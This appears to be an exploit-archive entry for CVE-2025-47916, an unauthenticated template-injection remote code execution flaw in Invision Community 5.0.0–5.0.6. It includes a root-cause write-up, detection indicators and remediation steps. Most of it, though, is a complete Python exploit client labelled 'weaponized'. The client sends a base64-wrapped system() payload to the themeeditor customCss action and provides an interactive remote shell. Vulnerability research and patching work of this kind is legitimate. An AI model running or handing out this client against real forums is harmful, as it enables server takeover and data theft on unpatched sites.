PoC Archive PoC Archive
Critical CVE-2025-47916 patched

Invision Community Theme Editor Template Injection Unauthenticated RCE (CVE-2025-47916)

by Egidio Romano (vulnerability discovery); Web3-Serializer (this PoC client) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-47916
Category
web
Affected product
Invision Community, themeeditor front controller (IPS\core\modules\front\system\themeeditor::customCss())
Affected versions
5.0.0 through 5.0.6 (fixed in 5.0.7)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherEgidio Romano (vulnerability discovery); Web3-Serializer (this PoC client)
CVE / AdvisoryCVE-2025-47916
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagsinvision-community, ssti, template-injection, theme-editor, unauthenticated-rce, php, cwe-94, python
RelatedN/A

Affected Target

FieldValue
Software / SystemInvision Community, themeeditor front controller (IPS\core\modules\front\system\themeeditor::customCss())
Versions Affected5.0.0 through 5.0.6 (fixed in 5.0.7)
Language / PlatformPython 3 (exploit client); PHP (target, Invision Community)
Authentication RequiredNo
Network Access RequiredYes

Summary

Invision Community’s theme editor exposes a customCss() action on the front-end themeeditor controller (/applications/core/modules/front/system/themeeditor.php) that is reachable without authentication and passes the attacker-supplied content request parameter into Theme::makeProcessFunction(), which processes it as a template expression. Because template expressions can invoke PHP functions, an attacker can craft a content value that evaluates to arbitrary PHP code execution, resulting in unauthenticated remote code execution against the Invision Community forum/community platform. The included PoC (main.py) is a small client that base64-encodes a shell command, wraps it in a template expression calling system()/base64_decode() wrapped with a die() and a unique marker string, POSTs it to the vulnerable customCss action, and extracts the command output from the response — offering single-command execution, a non-intrusive vulnerability test mode, and an interactive pseudo-shell.


Vulnerability Details

Root Cause

The customCss() method of the themeeditor front controller accepts a content POST parameter and passes it through Theme::makeProcessFunction(), which is designed to compile/process legitimate theme template syntax but does not require authentication or restrict the expression to safe operations. This allows a crafted template expression to call arbitrary PHP functions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def execute_command(self, command):
    encoded_cmd = base64.b64encode(command.encode()).decode()
    payload = f'{{expression="die(\'________\'.system(base64_decode(\'{encoded_cmd}\')))"}}'
    data = {
        'app': 'core',
        'module': 'system',
        'controller': 'themeeditor',
        'do': 'customCss',
        'content': payload
    }

The {expression="..."} template syntax is evaluated by the theme engine, invoking system(base64_decode(<attacker command>)) and using die('________'...) both to terminate output early (limiting extraneous page content) and to provide a unique delimiter the client can use to reliably extract command output from the HTTP response.

Attack Vector

  1. Attacker base64-encodes an arbitrary OS command.
  2. Attacker sends an unauthenticated POST request to the target’s front-end router with app=core, module=system, controller=themeeditor, do=customCss, and content set to a template expression: {expression="die('________'.system(base64_decode('<base64-cmd>')))"}.
  3. The customCss() handler passes content to Theme::makeProcessFunction(), which evaluates the template expression, invoking PHP’s system() on the decoded command.
  4. The die('________'...) call halts further page rendering and prepends a unique marker string to the command’s output, allowing the client to split the response on ________ and recover clean command output.

Impact

Unauthenticated remote code execution as the web server/PHP process user on the Invision Community host, since the theme editor’s template evaluation is reachable without authentication and permits arbitrary PHP function calls.


Environment / Lab Setup

Target:   Invision Community 5.0.0 - 5.0.6, front-end reachable at http://<target>/
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See main.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
usage: main.py [options] target

positional arguments:
  target                Target URL

optional arguments:
  -p, --proxy PROXY     Proxy server to route requests
  -c, --command CMD     Single command to process (for testing output handling)
  -t, --test            Perform a non-intrusive vulnerability check

python3 main.py http://TARGET/ -t

python3 main.py http://TARGET/ -c "id"

python3 main.py http://TARGET/
invision-shell# whoami

Detection & Indicators of Compromise

Signs of compromise:

  • POST requests to the front controller with do=customCss from unauthenticated/anonymous sessions
  • PHP-FPM/web server worker processes spawning shell commands (system, exec) correlated with themeeditor requests
  • Unexpected outbound activity or new files/webshells appearing shortly after such requests

Remediation

ActionDetail
Primary fixUpdate to Invision Community 5.0.7 or later, which resolves the template injection in the theme editor’s customCss() action
Interim mitigationBlock or restrict unauthenticated access to the themeeditor controller’s customCss action at the WAF/reverse-proxy level until patched

References


Notes

Mirrored from https://github.com/Web3-Serializer/CVE-2025-47916 on 2026-07-06. main.py implements a working unauthenticated RCE client (template-injection payload) for Invision Community with an interactive shell; vulnerability originally discovered by Egidio Romano and disclosed via Karma In Security Advisory KIS-2025-02.

main.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import requests
import base64
from argparse import ArgumentParser

"""
CVE-2025-47916 - Invision Community Remote Code Execution Vulnerability
Author: Egidio Romano
Date: 2025

Description:
Invision Community versions 5.0.0 through 5.0.6 contain a Remote Code Execution
vulnerability in the customCss() method of the
IPS\core\modules\front\system\themeeditor controller
(/applications/core/modules/front/system/themeeditor.php). The method is
inaccessible via authentication controls and processes user-supplied data from
the "content" request parameter through Theme::makeProcessFunction(), allowing
crafted template syntax to be executed as PHP code. Remote, unauthenticated
attackers can leverage this behavior to execute arbitrary PHP code on the
server.
"""

class InvisionExploit:
    def __init__(self, target_url, proxy=None):
        self.target_url = target_url.rstrip('/')
        self.proxies = {'http': proxy, 'https': proxy} if proxy else {}
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Content-Type': 'application/x-www-form-urlencoded'
        })
    
    def execute_command(self, command):
        encoded_cmd = base64.b64encode(command.encode()).decode()
        payload = f'{{expression="die(\'________\'.system(base64_decode(\'{encoded_cmd}\')))"}}'
        
        data = {
            'app': 'core',
            'module': 'system',
            'controller': 'themeeditor', 
            'do': 'customCss',
            'content': payload
        }
        
        try:
            response = self.session.post(
                self.target_url,
                data=data,
                proxies=self.proxies,
                verify=False,
                timeout=30
            )
            
            if '________' in response.text:
                return response.text.split('________')[0].strip()
            else:
                return None
        except Exception as e:
            return f"Error: {e}"
    
    def test_vulnerability(self):
        result = self.execute_command('echo TEST')
        return result is not None and 'TEST' in result

def main():
    parser = ArgumentParser(description='Invision Community 5.0.6 RCE Exploit')
    parser.add_argument('target', help='Target URL')
    parser.add_argument('-p', '--proxy', help='Proxy server')
    parser.add_argument('-c', '--command', help='Single command to execute')
    parser.add_argument('-t', '--test', action='store_true', help='Test vulnerability')
    
    args = parser.parse_args()
    
    print("Invision Community <= 5.0.6 RCE Exploit")
    print("=" * 45)
    
    exploit = InvisionExploit(args.target, args.proxy)
    
    if args.test:
        print("[*] Testing vulnerability...")
        if exploit.test_vulnerability():
            print("[+] Target is vulnerable!")
        else:
            print("[-] Target not vulnerable")
        return
    
    if args.command:
        print(f"[*] Executing: {args.command}")
        result = exploit.execute_command(args.command)
        if result:
            print(result)
        else:
            print("[-] Command execution failed")
        return
    
    print("[*] Interactive shell started. Type 'exit' to quit.")
    
    while True:
        try:
            cmd = input("invision-shell# ").strip()
            if cmd == "exit":
                break
            if not cmd:
                continue
                
            result = exploit.execute_command(cmd)
            if result:
                print(result)
            else:
                print("[-] Command execution failed")
                
        except KeyboardInterrupt:
            print("\n[*] Exiting...")
            break
        except Exception as e:
            print(f"[-] Error: {e}")
            break

if __name__ == '__main__':
    main()